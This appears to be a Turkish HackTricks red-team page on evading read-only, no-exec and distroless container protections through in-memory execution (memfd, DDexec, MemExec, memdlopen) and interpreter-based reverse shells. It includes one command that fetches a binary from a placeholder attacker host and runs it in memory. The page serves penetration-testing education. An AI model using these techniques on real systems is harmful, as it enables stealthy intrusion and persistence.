FS korumalarını atlatma: read-only / no-exec / Distroless
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
Videolar
Aşağıdaki videolarda bu sayfada bahsedilen teknikler daha derinlemesine açıklanmaktadır:
- DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion
- Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023
read-only / no-exec senaryosu
Linux makinelerinin özellikle container’larda read-only (ro) file system koruması ile mount edilmiş olması giderek daha yaygınlaşıyor. Bunun nedeni, bir container’ı ro file system ile çalıştırmanın securitycontext içinde readOnlyRootFilesystem: true ayarını yapmak kadar kolay olmasıdır:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
Ancak, file system ro olarak mount edilmiş olsa bile /dev/shm hâlâ yazılabilir olacaktır; yani diske hiçbir şey yazamayacağımız yönünde bir yanılsama vardır. Bununla birlikte, bu klasör no-exec koruması ile mount edilir, bu yüzden buraya bir binary indirirseniz çalıştıramazsınız.
Warning
Red team açısından bakıldığında, bu durum sistemde zaten olmayan (ör. backdoor’lar veya
kubectlgibi enumeration araçları) binary’leri indirmek ve çalıştırmayı zorlaştırır.
En kolay bypass: Scripts
Binarylerden bahsettiğimi unutmayın, eğer interpreter makinede mevcutsa herhangi bir script’i çalıştırabilirsiniz, örneğin sh varsa bir shell script, veya python yüklüyse bir python script.
Ancak bu, binary backdoor’unuzu veya çalıştırmanız gereken diğer binary araçları çalıştırmak için her zaman yeterli değildir.
Bellek Bypassları
Binary çalıştırmak istiyorsanız ama file system buna izin vermiyorsa, en iyi yol onu bellekten çalıştırmaktır, çünkü bu korumalar belleğe uygulanmaz.
FD + exec syscall bypass
Makinede Python, Perl veya Ruby gibi güçlü script motorları varsa, binary’yi bellekte çalıştırmak üzere indirip bir memory file descriptor’a (create_memfd syscall) koyabilirsiniz; bu fd bu korumalardan etkilenmez ve ardından fd’yi çalıştırılacak dosya olarak belirten bir exec syscall çağrısı yapılabilir.
Bunun için fileless-elf-exec projesini kolayca kullanabilirsiniz. Bir binary verirsiniz ve seçilen dilde, binary’nin sıkıştırılmış ve b64 ile kodlanmış halini içeren; bunları decode ve decompress edip create_memfd syscall ile oluşturulan bir fd’ye yazma ve çalıştırmak için exec syscall çağrısı içeren bir script üretecektir.
Warning
Bu, PHP veya Node gibi diğer scripting dillerinde çalışmaz çünkü bu dillerde raw syscall çağırmanın varsayılan bir yolu yoktur; bu yüzden
create_memfdçağrıp binary’yi saklayacak memory fd oluşturmak mümkün değildir.Ayrıca,
/dev/shmiçinde normal bir fd oluşturmak işe yaramaz, çünkü bunu çalıştırmanıza izin verilmeyecektir; no-exec koruması uygulanır.
DDexec / EverythingExec
DDexec / EverythingExec kendi prosesinizin belleğini, yani /proc/self/mem’i overwrite ederek değiştirmenize izin veren bir tekniktir.
Böylece, proses tarafından yürütülen assembly kodunu kontrol ederek, bir shellcode yazabilir ve prosesi “mutate” ederek herhangi bir arbitrary kodu çalıştırmasını sağlayabilirsiniz.
Tip
DDexec / EverythingExec, kendi shellcode’unuzu veya bellekten herhangi bir binary’yi yükleyip çalıştırmanıza olanak verir.
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
Bu teknik hakkında daha fazla bilgi için Github’a bakın veya:
MemExec
Memexec DDexec’in doğal sonraki adımıdır. Bu, bir DDexec shellcode demonised’dir; bu yüzden her seferinde run a different binary istediğinizde DDexec’i yeniden başlatmanıza gerek yoktur, DDexec tekniği ile memexec shellcode’u çalıştırıp sonra bu deamon ile communicate with this deamon to pass new binaries to load and run yapabilirsiniz.
memexec to execute binaries from a PHP reverse shell kullanımıyla ilgili bir örneği https://github.com/arget13/memexec/blob/main/a.php adresinde bulabilirsiniz.
Memdlopen
DDexec ile benzer bir amaç taşıyan memdlopen tekniği, ikili dosyaları belleğe yükleyip daha sonra çalıştırmak için daha kolay bir yol sağlar. Hatta bağımlılıkları olan binaries’leri bile yüklemeye imkan tanıyabilir.
Distroless Bypass
Distroless’in gerçekte ne olduğu, ne zaman yardımcı olduğu, ne zaman olmadığı ve konteynerlerde post-exploitation tradecraft’i nasıl değiştirdiği hakkında ayrıntılı bir açıklama için bakın:
Distroless nedir
Distroless konteynerler yalnızca belirli bir uygulamayı veya servisi çalıştırmak için gerekli olan en az bileşenleri, örneğin kütüphaneler ve runtime bağımlılıkları içerir; ancak package manager, shell veya system utilities gibi daha büyük bileşenleri hariç tutar.
Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak konteynerlerin saldırı yüzeyini azaltmak ve sömürülebilecek zafiyet sayısını en aza indirmektir.
Reverse Shell
Bir distroless konteynerde normal bir shell almak için sh veya bash bile bulamayabilirsiniz. Ayrıca ls, whoami, id gibi ikili programları da bulamazsınız… sistemde genellikle çalıştırdığınız her şey eksik olabilir.
Warning
Bu nedenle, normalde yaptığınız gibi bir reverse shell elde edemeyecek veya sistemi enumerate edemeyeceksiniz.
Ancak, örneğin ele geçirilmiş konteyner bir flask web uygulaması çalıştırıyorsa python yüklü olacaktır ve bu yüzden bir Python reverse shell alabilirsiniz. Node çalıştırıyorsa bir Node rev shell alabilirsiniz ve çoğunlukla herhangi bir scripting language ile durum benzerdir.
Tip
Scripting language’ı kullanarak dilin sunduğu yeteneklerle sistemi enumerate edebilirsiniz.
Eğer read-only/no-exec korumaları yoksa reverse shell’inizi suistimal ederek dosya sistemine binary’lerinizi yazabilir ve bunları çalıştırabilirsiniz.
Tip
Ancak bu tür konteynerlerde bu korumalar genellikle bulunur; bunları atlatmak için önceki bellek yürütme tekniklerini kullanabilirsiniz.
Scripting dilleriyle reverse shells elde etmek ve bellekten binaries çalıştırmak için bazı RCE zafiyetlerini exploit etme örneklerini https://github.com/carlospolop/DistrolessRCE adresinde bulabilirsiniz.
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


